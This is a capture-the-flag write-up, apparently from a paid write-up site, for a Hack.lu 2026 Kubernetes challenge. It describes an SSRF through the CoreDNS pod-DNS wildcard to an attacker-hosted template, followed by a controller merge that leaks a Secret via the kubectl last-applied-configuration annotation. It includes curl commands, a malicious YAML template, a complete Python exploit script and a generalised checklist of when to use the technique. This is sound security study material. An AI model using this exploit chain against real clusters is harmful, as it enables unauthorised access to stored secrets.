$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: Kubernetes challenge tracker (ui/api/controller + Challenge CRD) reachable only through a services/proxy-scoped RBAC, with an unvalidated template-source fetcher. Solution: SSRF the template host via the CoreDNS pod-DNS wildcard to serve arbitrary YAML, then abuse the controller's live-object merge so kite kubectl apply stamps the flag Secret into last-applied-configuration, leaked by the unmasked debug view.
First Implementation was broken. Now we hardened the permissions a bit.
English summary: this is part 2 of the Challenge Deployment series. The target is a Kubernetes "challenge tracker" deployed in namespace ctf, composed of three Flask services (ui → api → controller) plus a Challenge custom resource (challenges.fluxfingers.ctf/v1). Part 1 was a classic Kubernetes permission mistake; part 2 restricts the player's RBAC so that the only reachable service is the UI. The goal is to read the flag stored in a Kubernetes Secret.
Access model: the player gets a kubeconfig whose ServiceAccount ctf-player only has:
rules: - apiGroups: [""] resources: ["services/proxy"] verbs: ["get", "create"] resourceNames: ["ui", "http:ui:80"] - apiGroups: [""] resources: ["services"] verbs: ["get"] resourceNames: ["ui"]
So there is no pods get and no pods/portforward. The intended entry point is kubectl proxy:
kubectl proxy --port=8080 # UI is then reachable at: # http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy/
services/proxy is scoped by resourceNames, so only ui is reachable — api and controller return 403. Every attack must therefore be expressed through the UI's own routes.
player (kubectl proxy) ──► ui (no SA, port 8080) ──► api (no SA) ──► controller (SA challenge-controller)
└─ kubernetes API (secrets/challenges)
ui renders HTML and forwards to api.api has no cluster access. It owns a TEMPLATES registry of {id, name, host} entries and fetches each template's YAML over HTTP.controller is the only component with Kubernetes credentials (challenge-controller SA). It applies submitted YAML and dumps resources for the debug view.web-templates, misc-templates, …) serve a static /template.yaml for the built-in categories.The UI exposes:
| Route | Effect |
|---|---|
GET / | challenge board with debug/edit links |
GET /flags | list Secrets with data masked (***) |
GET /debug?name= | dump challenge + referenced Secret (data masked, rest verbatim) |
POST /templates | register a template source {name, host} |
GET /new-challenge?template= | preview a template's fetched YAML |
POST /create | create a challenge from a template |
POST /update, /delete, /stage | edit/move challenges |
ui.py's ui_create always sends the template field to api /api/create; there is no UI route that forwards raw yaml. So arbitrary YAML can only reach controller /apply by controlling what a template fetch returns.
api.py)def resolve_in_cluster_host(host): infos = socket.getaddrinfo(host, 80, type=socket.SOCK_STREAM) if not host.endswith(CLUSTER_DNS_SUFFIX): # ".cluster.local" raise TemplateError("must be in-cluster") return ips def fetch_template(host): resolve_in_cluster_host(host) url = f"http://{host}/template.yaml" resp = requests.get(url, timeout=FETCH_TIMEOUT, stream=True, allow_redirects=False)
The check is a plain string suffix plus a DNS lookup. The DNS lookup result is never checked against the cluster network — the only requirement is that the name resolves.
Under the default kind CoreDNS Corefile, the kubernetes plugin is configured with pods insecure. With that setting, any name of the form:
<dashed-ip>.<namespace>.pod.cluster.local
resolves to the literal IPv4 encoded in the dashed label, without verifying that a Pod actually exists at that IP. Example:
147-45-252-54.ctf.pod.cluster.local -> 147.45.252.54
Since 147.45.252.54 is the public IP of an attacker-controlled HTTP server, this bypasses the "must be in-cluster" allowlist and turns fetch_template into a server-side request forgery to our own host:
GET http://147-45-252-54.ctf.pod.cluster.local/template.yaml
Host: 147-45-252-54.ctf.pod.cluster.local
The port (80) and path (/template.yaml) are fixed, and the Host header is the dashed name — so the attacker server must serve the file regardless of Host (default virtual host / plain file server / nginx default site).
controller.py, unchanged from part 1)def merge(base, overlay): for key, value in overlay.items(): if isinstance(value, dict) and isinstance(base.get(key), dict): merge(base[key], value) # recurse else: base[key] = value # overwrite return base def _apply(doc): doc.setdefault("metadata", {})["namespace"] = NAMESPACE resource = DYN.resources.get(api_version=doc["apiVersion"], kind=doc["kind"]) name = doc["metadata"]["name"] try: live = resource.get(name=name, namespace=NAMESPACE).to_dict() # fetch LIVE object except NotFoundError: live = None body = merge(live, doc) if live else doc # merge live into submitted ... subprocess.run(["kubectl", "apply", "-n", NAMESPACE, "-f", "-"], input=yaml.safe_dump(body), ...) # client-side apply
_apply fetches the current (live) object and merges it into the submitted manifest, then applies the merged result with the kubectl binary. kubectl apply performs a three-way merge and persists the merged object into the annotation:
kubectl.kubernetes.io/last-applied-configuration
So if we submit a bare kind: Secret document whose metadata.name equals the flag Secret's name, merge(live, doc) fills in the live Secret's data.flag, and the subsequent kubectl apply writes the full Secret (including base64 data.flag) into that annotation.
debug_view() masks only data/stringData:
def mask_secret(obj): for field in ("data", "stringData"): if isinstance(obj.get(field), dict): obj[field] = {key: MASK for key in obj[field]}
It never touches metadata.annotations, so GET /debug?name=<challenge> leaks the base64 flag inside last-applied-configuration.
The controller still requires at least one kind: Challenge document (require_challenge), and normalize_challenge requires non-empty string spec.title/spec.description. apply_documents applies every document in the stream. Therefore our hosted template must contain:
Challenge document (to pass validation), andSecret document named exactly like the flag Secret (the exfiltration payload).The Secret name itself is not secret: it is a UUID shown (unmasked) on the /flags page and in the challenge flagRef.
Host header with the file at /template.yaml (nginx default vhost, or python3 -m http.server 80 / http.server in a directory containing template.yaml). The path /template.yaml maps to the file template.yaml in the served root — a directory named template.yaml containing index.html also works.kubectl proxy running against the provided kubeconfig.kubectl --kubeconfig ctf-player.kubeconfig proxy --port=8080
All subsequent requests go to:
http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy
curl -s http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy/flags
The data value is masked, but metadata.name (a UUID) is shown. This is the name to place on the bare Secret document.
Create template.yaml (in the public host's document root):
apiVersion: fluxfingers.ctf/v1 kind: Challenge metadata: name: leaktest spec: id: leaktest title: "{{title}}" description: "{{description}}" flagRef: <FLAG_SECRET_NAME> --- apiVersion: v1 kind: Secret metadata: name: <FLAG_SECRET_NAME>
The second document is deliberately bare: no data/stringData, no namespace. _apply supplies the namespace and merge(live, doc) injects the live data that we want.
Replace dots in your server IP with dashes to form the pod-DNS name:
IP 147.45.252.54 → 147-45-252-54.ctf.pod.cluster.local
curl -s -X POST \ --data-urlencode 'name=atk' \ --data-urlencode 'host=147-45-252-54.ctf.pod.cluster.local' \ http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy/templates
api.py accepts it because it ends in .cluster.local. It only resolves the host — and the pod-DNS wildcard resolves it to our public IP.
# find the generated 8-hex template id on the new-challenge page curl -s 'http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy/new-challenge' | grep -o 'template=[0-9a-f]\{8\}[^>]*>atk'
Then preview:
curl -s 'http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy/new-challenge?template=<TID>'
The page should contain our rendered kind: Secret document — proof that the SSRF reaches the attacker host.
curl -s -X POST \ --data-urlencode 'template=<TID>' \ --data-urlencode 'ph_title=leak' \ --data-urlencode 'ph_description=leak' \ --data-urlencode 'flagRef=' \ --data-urlencode 'newFlag=' \ http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy/create
ui /create → api /api/create → api re-fetches the template, fills {{title}}/{{description}}, injects a flagRef if provided, and POSTs the resulting YAML to controller /apply. For the bare Secret document, the controller merges in the live Secret and kubectl apply records it under last-applied-configuration.
curl -s 'http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy/debug?name=leaktest'
The dump contains the Challenge plus the referenced Secret with data.flag: '***' — and, next to it, the kubectl.kubernetes.io/last-applied-configuration annotation holding the full original Secret JSON, including base64 data.flag. Decode it to obtain flag{REDACTED}.
exploit.py automates the whole chain (host must be serving template.yaml on port 80):
#!/usr/bin/env python3 """Hack.lu 2026 - "Challenge Deployment 2" exploit. Chain: 1. The UI (/create) only applies YAML rendered from a *template* fetched from an arbitrary in-cluster host (api.py fetch_template -> http://<host>/template.yaml). 2. api.py requires host.endswith(".cluster.local") and resolves it. CoreDNS runs with "pods insecure", so `<dashed-ip>.<ns>.pod.cluster.local` resolves to ANY IP -> we host template.yaml on an attacker-controlled public server and point the template host at it via <dashed-ip>.ctf.pod.cluster.local. 3. Our template contains a Challenge plus a bare Secret named exactly like the flag Secret. The controller's _apply() merges the LIVE Secret into the submitted doc and runs client-side `kubectl apply`, which stamps the full Secret (incl. base64 data.flag) into kubectl.kubernetes.io/last-applied-configuration. 4. debug_view() masks only data/stringData; the annotation leaks the base64 flag, exposed via the UI /debug route. Usage: python3 exploit.py <attacker_ip> <flag_secret_name> """ import sys, json, base64, re, urllib.request, urllib.parse, html, time PROXY = "http://localhost:8080/api/v1/namespaces/ctf/services/http:ui:80/proxy" def get(path): with urllib.request.urlopen(PROXY + path, timeout=40) as r: return r.status, r.read().decode("utf-8", "replace") def hget(path): try: return get(path) except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") def post(path, data): req = urllib.request.Request(PROXY + path, data=urllib.parse.urlencode(data).encode(), headers={"Content-Type": "application/x-www-form-urlencoded"}) try: with urllib.request.urlopen(req, timeout=40) as r: return r.status, r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") def main(): attacker_ip = sys.argv[1] # public IP of the attacker HTTP server (port 80) secret = sys.argv[2] # flag Secret name (from /flags) dashed = attacker_ip.replace(".", "-") host = f"{dashed}.ctf.pod.cluster.local" # 1. register the attacker host as a template source post("/templates", {"name": "atk", "host": host}) # find its template id on the new-challenge page _, b = get("/new-challenge") m = re.search(r'template=([0-9a-f]{8})"[^>]*>atk</a>', b) assert m, "template not registered" tid = m.group(1) print(f"[*] template id = {tid} (host {host})") # 2. verify the SSRF fetch returns our malicious template st, b = hget("/new-challenge?template=" + tid) pre = re.search(r"<pre>(.*?)</pre>", b, re.S) fetched = html.unescape(pre.group(1)) if pre else "" print(f"[*] template fetch status = {st}") if "kind: Secret" not in fetched: print("[!] template fetch did not return our YAML; aborting") print(fetched[:500]) return 1 # 3. create a challenge from the template (triggers controller /apply on Challenge + Secret) for attempt in range(6): post("/create", {"template": tid, "ph_title": "leak", "ph_description": "leak", "flagRef": "", "newFlag": ""}) # find created challenge names from the board _, board = get("/") names = re.findall(r'/debug\?name=([^"]+)"[^>]*>debug', board) # 4. look for the leaked annotation in each debug view for n in names: n = urllib.parse.unquote(n) _, d = get("/debug?name=" + urllib.parse.quote(n)) blob = html.unescape(d) if secret in blob and "last-applied-configuration" in blob: mm = re.search(r'"data":\{"flag":"([A-Za-z0-9+/=]+)"\}', blob) if mm: val = base64.b64decode(mm.group(1)).decode("utf-8", "replace") print(f"[+] LEAK from challenge {n}: flag = {val}") return 0 mm = re.search(r'"stringData":\{"flag":"([^"]+)"\}', blob) if mm: print(f"[+] LEAK (stringData) from {n}: {mm.group(1)}") return 0 time.sleep(2) print("[-] no leak found") return 1 if __name__ == "__main__": sys.exit(main())
Run:
python3 exploit.py 147.45.252.54 <FLAG_SECRET_UUID>
kubectl apply --server-side / create), so it initially has no last-applied-configuration annotation. The exploit must trigger a client-side apply to create it — that is exactly what controller._apply does..cluster.local suffix check happens after DNS resolution, and resolution only needs to succeed. There is no verification that the resolved IP is inside the cluster.Host: <dashed-ip>.ctf.pod.cluster.local and GET /template.yaml on port 80. A server that routes on Host (e.g. a shared CDN / GitHub Pages style vhost) returns 404; use nginx's default server block or a plain file server.normalize_challenge demands non-empty string spec.title and spec.description; YAML 1.1 scalars like yes/no/on parse as booleans and fail. Keep them quoted strings.kind: Challenge document must be present (require_challenge), otherwise the Secret document alone is rejected.flagRef on the Challenge is what makes debug_view() dump the Secret; reference the same Secret name.services/proxy with resourceNames is an exact match: only ui (and the http:ui:80 form) is proxyable; api/controller return 403. Do not waste time trying to reach them directly.Use this technique when:
services/proxy only for a frontend service, with no pods/portforward — attack through the app's own forwarding chain.endswith(".cluster.local") string check and resolves it via DNS (no IP-range validation).pods insecure (default kind/minikube Corefile) so <dashed-ip>.<ns>.pod.cluster.local resolves to any IPv4 → SSRF to attacker infrastructure.kubectl apply — this stamps kubectl.kubernetes.io/last-applied-configuration with the full live object.data/stringData of a Secret but dumps metadata.annotations verbatim — the leaked annotation contains base64 secret material.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar